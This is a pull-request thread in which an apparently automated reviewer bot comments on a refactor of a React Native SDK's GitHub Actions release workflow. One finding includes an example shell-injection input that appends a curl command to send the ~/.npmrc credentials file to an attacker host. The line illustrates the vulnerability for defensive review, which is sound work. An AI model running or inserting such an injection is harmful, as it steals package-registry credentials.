MOEN-45887: CD breakdown

[arshiya-moengage]

Jira Ticket

https://moengagetrial.atlassian.net/browse/MOEN-45887

Description

CD breakdown

[moe-hodor]

🚪 Hodor is reviewing this PR... 👀

[moe-hodor]

🔴 Critical — Shell injection vulnerability: The release script invocation passes $RELEASE_NOTES and $RELEASE_TICKET directly to the Kotlin script. While environment variables are used (L63-64) which prevents GitHub Actions expression injection, the Kotlin script at .github/scripts/release.main.kts line 6 uses args[0] (changelogRefLink) directly without validation.

If releaseNotes input contains shell metacharacters (e.g., ;, &&, |, $()), they will be interpreted by the shell.

Example attack:

releaseNotes: 'Fixed bug; curl http://attacker.com/exfil?data=$(cat ~/.npmrc)'

While the workflow dispatch UI marks these as required: true, a malicious actor with write access (only umangmoe and arshiya-moengage per L22 of release.yml) could still supply malicious input.

Fix: Validate/sanitize the inputs in the Kotlin script, or pass them as positional arguments wrapped in quotes:

run: |
  kotlin .github/scripts/release.main.kts "$RELEASE_NOTES" "$RELEASE_TICKET"

And ensure the Kotlin script properly handles multi-line strings.

[moe-hodor]

⚠️ Warning — Secret inheritance verification needed: secrets: inherit propagates ALL repository secrets to the called workflow. While this is necessary for SDK_BOT_ACCESS_TOKEN, verify that:

1. The pre_release.yml workflow (L24) and its child publish_plugins.yml both have correct secrets: sections that accept the token
2. No sensitive secrets (e.g., npm tokens, AWS credentials) are unintentionally exposed to jobs that don't need them

The new pre_release.yml workflow declares secrets: SDK_BOT_ACCESS_TOKEN: required: true at L27-28 in publish_plugins.yml, but pre_release.yml itself has NO secrets: input section. This means pre_release.yml cannot receive secrets from release.yml, and the merge-dev-to-master job at L38 will fail when trying to use ${{ secrets.SDK_BOT_ACCESS_TOKEN }}.

Fix: Add a secrets: input section to pre_release.yml (after L21):

secrets:
  SDK_BOT_ACCESS_TOKEN:
    required: true

Then update L38, L43, L72, L76, L87 in pre_release.yml to use secrets.SDK_BOT_ACCESS_TOKEN (this pattern is correct in the current code, but the parent workflow must declare the secret input).

[moe-hodor]

⚠️ Warning — Missing permissions for merge operations: The workflow declares contents: read (L25), but the merge operations in merge-dev-to-master (L44-47) and finalize (L77-80) require contents: write to push commits back to the repository.

The workflow currently relies on the SDK_BOT_ACCESS_TOKEN (a PAT) to bypass this, but:

1. If the PAT expires or is rotated, the workflow will fail silently
2. GitHub's security best practices recommend using OIDC + fine-grained permissions instead of PATs where possible

Impact: The action-git-development-to-master and action-git-master-to-development actions will fail with a 403/permission denied error if the PAT is invalid.

Fix: Add contents: write to the permissions block:

permissions:
  id-token: write
  contents: write  # Required for merge operations

This allows the workflow to work with GITHUB_TOKEN if the automation scripts support it in the future.

[moe-hodor]

💡 Suggestion — Add failure recovery: If publish-plugins fails, the finalize job is correctly skipped (L63 needs: publish-plugins), but there's no cleanup mechanism. This leaves the repository in a state where:

• master has the merged code from development
• No packages were published
• development was NOT updated with the latest master

Consider adding an on-failure job to:

1. Notify the team via Slack/email that publishing failed
2. Optionally revert the dev→master merge if no tags were created
3. Log the exact failure reason for debugging

Example:

notify-failure:
  needs: publish-plugins
  if: failure()
  runs-on: ubuntu-latest
  steps:
    - name: Notify team
      run: echo 'Publishing failed' | send-to-slack

[moe-hodor]

💡 Suggestion — Verify script existence before chmod: The action runs chmod +x on two scripts (L30-31) without checking if they exist. If a future refactoring renames or moves these scripts, the workflow will fail with a cryptic error.

Improvement:

if [ -f .github/scripts/react-utils.main.kts ]; then
  chmod +x .github/scripts/react-utils.main.kts
else
  echo "Error: react-utils.main.kts not found" && exit 1
fi

This provides clearer error messages and catches misconfigurations earlier.

[moe-hodor]

Review Summary

Branching & CFR: feature/MOEN-45887_cd_breakdown — category: feature, impact: Neutral CFR ✅

Summary: This PR refactors the release workflow by breaking down the monolithic release.yml into three modular workflows: pre_release.yml (merge dev→master), publish_plugins.yml (publish to npm), and finalize (merge master→dev + notify). This improves maintainability, testability, and reusability of the release pipeline.

Quality Gates: ✅ All checks passed (229 lines, config-only changes, no tests needed)

Jira Alignment: ✅ The PR aligns with MOEN-45887 "React-Native: Breakdown CD workflow" — the Jira ticket has no description, so I cannot verify detailed requirements, but the PR title and changes match the ticket summary.

Issues Found:

• 🔴 Critical: 1 (shell injection vulnerability)
• ⚠️ Warning: 2 (permission propagation, error handling)
• 💡 Suggestion: 2 (workflow optimization, documentation)

Key Concerns:

1. Shell injection risk in publish_plugins.yml line 58 — user-controlled input passed to shell without proper escaping
2. Missing permissions in reusable workflow call — contents: write not propagated to child workflows
3. No error recovery if merge operations fail midway through the three-stage pipeline

Regression Risk: 🟡 Medium

• The old single-job workflow is replaced by a three-job pipeline with cross-job dependencies
• If the new publish_plugins.yml workflow is called by other repos (as a reusable workflow), they will need updates
• The secrets: inherit pattern in release.yml L28 requires verification that all necessary secrets propagate correctly

What's Good:

• ✅ Excellent refactoring: separates concerns (merge, publish, finalize) into testable units
• ✅ Shared action (release-setup) eliminates code duplication across workflows
• ✅ Good use of GitHub Actions native dependency chain (needs: publish-plugins) instead of dispatch/poll
• ✅ Proper environment variable passing (L60-64) protects against word-splitting
• ✅ Clear inline comments explaining the workflow structure

Verdict: 🟡 COMMENT — The refactoring is solid, but the shell injection issue needs attention before merge. The permission and error-handling concerns are lower-severity but should be verified during testing.